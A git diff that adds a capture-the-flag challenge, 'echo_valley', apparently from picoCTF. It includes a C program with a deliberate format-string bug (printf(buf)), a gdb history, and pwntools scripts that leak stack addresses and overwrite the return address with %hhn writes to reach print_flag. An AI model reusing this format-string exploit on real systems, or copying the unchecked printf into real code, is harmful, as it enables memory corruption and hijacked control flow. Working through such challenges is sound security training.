diff --git a/echo_valley/.gdb_history b/echo_valley/.gdb_history new file mode 100644 index 0000000..5dfa8ad --- /dev/null +++ b/echo_valley/.gdb_history @@ -0,0 +1,242 @@ +disassemble main +disassemble echo_valley +b *echo_valley+218 +r +r +r +r +stackf +AAAA.%p.%p.%p.%p.%p.%p +r +nexti +r +stackf +nexti +r +stepi +stackf +next +next +next +next +next +next +next +next +next +next +next +next +next +next +nextret +next +r +stepi +stackf +nextret +nexti +stackf +r +disassemble echo_valley +stackf +help stackf +stackf 8 -10 +stackf 8 +stackf 8 10 +stackf 8 -100 +stackf 16 -10 +hexdump $sp +hexdump $sp-0x60 +hexdump $sp-0x60 100 +hexdump $sp-0x60 1000 +hexdump $sp-0x60 100 +stackf +hexdump $sp-0x60 100 +stackf +nextret +r +stackf +hexdump $sp-0x60 200 +necti +nexti +stackf +r +stepi +stackf +r +stackf +nexti +stackf +r +stackf +stepi +stackf +nextret +r +stackf +stepi +stackf +nextret +exit +disassemble echo_valley +b *echo_valley+201 +r +nexti +exit +disassemble echo_valley +b *echo_valley+218 +r +nexti +stackf +exit +b *echo_valley+218 +r +stackf +exit +b *echo_valley+218 +r +nexti +stackf +exit +b *echo_valley+218 +r +stackf +hexdump +hexdump 20 +hexdump $sp 20 +hexdump $sp 100 +hexdump $sp 120 +hexdump $sp 140 +nexti +exit +b *echo_valley+218 +r +nexti +stackf +hexdump $sp 140 +exit() +lexit +exit +b *echo_valley+218 +disassemble echo_valley +r +nexti +stackg +stackf +hexdump $sp 140 +xit +exit +exit +nexti +nexti +r +exit +stackf +stackf +nexti +nextret +nextret +nextret +nextret +nextret +nextret +nextret +nextret +stackf +nextret +nextret +nextret +stackf +exit +exit +exit +disassemble echo-valley +disassemble echo_valley +nextret +nextret +exit +disassemble echo_valley +b *echo_valley+163 +nextret +stackf +exit +disassemble echo_valley +b *echo_valley+218 +r +help printf +printf "\01\02" +printf "\x01\x02" +printf "\x61\x62" +printf "\x41\x41" +disassemble valloc +exit +disassemble echo_valley +b *echo_valley+218 +stackf +stackf help +stackf 20 +stackf 20 -1 +stackf 20 -2 +stackf 20 1 +stackf 20 2 +stackf 20 3 +stack-explore +stack +stackf +r +exit +b *echo_valley+218 +exit +b *echo_valley+218 +continue +stackf +nexti +stackf +exit +b *echo_valley+218 +continue +nexti +stackf +exit +b *echo_valley+218 +continue +nexti +exit +b *echo_valley+218 +continue +nexti +hexdump $sp 140 +continue +stackf +hexdump $sp 140 +nexti +stackf +hexdump $sp 140 +exit +b *echo_valley+218 +continue +nexti +continue +nexti +stackf +hexdump $sp 140 +exit +b *echo_valley+218 +continue +hexdump $sp 140 +nexti +hexdump $sp 140 +exit +b *echo_valley+218 +continue +hexdump $sp 140 +nexti +hexdump $sp 140 +continue +hexdump $sp 140 +nexti +hexdump $sp 140 +continue +exit +exit diff --git a/echo_valley/manual.py b/echo_valley/manual.py new file mode 100755 index 0000000..adbbe68 --- /dev/null +++ b/echo_valley/manual.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python +from pwn import * + +context.terminal = "kitty" + +def write(data): + print(f"data to send: {data}") + return input("enter result: ").encode() + +address_leak_string = write(b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") +print(f"received {address_leak_string}") + +dot = address_leak_string.rfind(b'.') +address_leak = int(address_leak_string[dot+1:], 16) +print(f"return address: {hex(address_leak)}") + +dot2 = address_leak_string.rfind(b'.', 0, dot) +stack_address_leak_after_ret = int(address_leak_string[dot2+1:dot], 16) +stack_address_ret = stack_address_leak_after_ret - 8 +print(f"found stack address of ret pointer: {hex(stack_address_ret)}") + +address_offset = 18 +main_offset = 0x1401 +print_flag_offset = 0x1269 +address_to_return_to = address_leak - address_offset - main_offset + print_flag_offset +print(f"jump address is: {hex(address_to_return_to)}") + +# only 2 least significant address bytes have to be rewritten +print(f"first byte address: {p64(stack_address_ret)}") + +# produces string that writes 0<=n<=255 to byte at address +# offset for alignment of memory address +# here, use offset 2 +def produce_writer(n, address, offset=0, op=b"hhn"): + if n < 0: + log.error(f"n has to be >= 0, is {n}") + exit() + if n < 8: + n_pre = n + n_post = 8 - n_pre + offset + return b'.'*n_pre + b"%8$" + op + b'.'*n_post + address + else: + return f"%{n:03}$x..".encode() + b"%8$" + op + b'.'*offset + address + +lower_byte_value = address_to_return_to%256 +upper_byte_value = (address_to_return_to>>8)%256 +print(f"lower byte value: {lower_byte_value}\nupper byte value: {upper_byte_value}") +write_lower_byte = write(produce_writer(0, p64(stack_address_ret), offset=2)) +write_upper_byte = write(produce_writer(0, p64(stack_address_ret+1), offset=2)) +conn.interactive(term.text.bold_red(">> ")) + diff --git a/echo_valley/sol.py b/echo_valley/sol.py new file mode 100755 index 0000000..7206bb9 --- /dev/null +++ b/echo_valley/sol.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python +from pwn import * + +#conn = process("./valley") +conn = remote("shape-facility.picoctf.net", 53287) +conn.recvline() + +def write(data): + conn.sendline(data) + conn.recvuntil(b"e: ") + return conn.recvline(keepends=False) + +address_leak_string = write(b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p") +log.info(f"received {address_leak_string}") + +dot = address_leak_string.rfind(b'.') +address_leak = int(address_leak_string[dot+1:], 16) +log.info(f"return address: {hex(address_leak)}") + +dot2 = address_leak_string.rfind(b'.', 0, dot) +stack_address_leak_after_ret = int(address_leak_string[dot2+1:dot], 16) +stack_address_ret = stack_address_leak_after_ret - 8 +log.info(f"found stack address of ret pointer: {hex(stack_address_ret)}") + +address_offset = 18 +main_offset = 0x1401 +print_flag_offset = 0x1269 +address_to_return_to = address_leak - address_offset - main_offset + print_flag_offset +log.info(f"jump address is: {hex(address_to_return_to)}") + +# only 2 least significant address bytes have to be rewritten +log.info(f"first byte address: {p64(stack_address_ret)}") + +# produces string that writes 0<=n<=255 to byte at address +# offset for alignment of memory address +# here, use offset 2 +def produce_writer(n, address, offset=0, op=b"hhn"): + if n < 0: + log.error(f"n has to be >= 0, is {n}") + exit() + if n < 8: + n_pre = n + n_post = 8 - n_pre + offset + return b'.'*n_pre + b"%8$" + op + b'.'*n_post + address + else: + return f"%{(n-3):03}x...".encode() + b"%8$" + op + b'.'*offset + address + +lower_byte_value = address_to_return_to%256 +upper_byte_value = (address_to_return_to>>8)%256 + +lower_byte_writer = produce_writer(lower_byte_value, p64(stack_address_ret), offset=2) +log.info(f"writing lower byte value to {hex(lower_byte_value)} on enter with string {lower_byte_writer}") +write_lower_byte = conn.sendline(lower_byte_writer) + +upper_byte_writer = produce_writer(upper_byte_value, p64(stack_address_ret+1), offset=2) +log.info(f"writing upp byte value to {hex(upper_byte_value)} on enter with string {upper_byte_writer}") +write_upper_byte = conn.sendline(upper_byte_writer) + +conn.sendline(b"exit") +conn.recvuntil(b"The Valley Disappears\n") +rest = conn.recvall() +log.info(f"got {rest}") + diff --git a/echo_valley/valley b/echo_valley/valley new file mode 100755 index 0000000..fac975c Binary files /dev/null and b/echo_valley/valley differ diff --git a/echo_valley/valley.c b/echo_valley/valley.c new file mode 100644 index 0000000..f86b7da --- /dev/null +++ b/echo_valley/valley.c @@ -0,0 +1,49 @@ +#include +#include +#include + +void print_flag() { + char buf[32]; + FILE *file = fopen("/home/valley/flag.txt", "r"); + + if (file == NULL) { + perror("Failed to open flag file"); + exit(EXIT_FAILURE); + } + + fgets(buf, sizeof(buf), file); + printf("Congrats! Here is your flag: %s", buf); + fclose(file); + exit(EXIT_SUCCESS); +} + +void echo_valley() { + printf("Welcome to the Echo Valley, Try Shouting: \n"); + + char buf[100]; + + while(1) + { + fflush(stdout); + if (fgets(buf, sizeof(buf), stdin) == NULL) { + printf("\nEOF detected. Exiting...\n"); + exit(0); + } + + if (strcmp(buf, "exit\n") == 0) { + printf("The Valley Disappears\n"); + break; + } + + printf("You heard in the distance: "); + printf(buf); + fflush(stdout); + } + fflush(stdout); +} + +int main() +{ + echo_valley(); + return 0; +}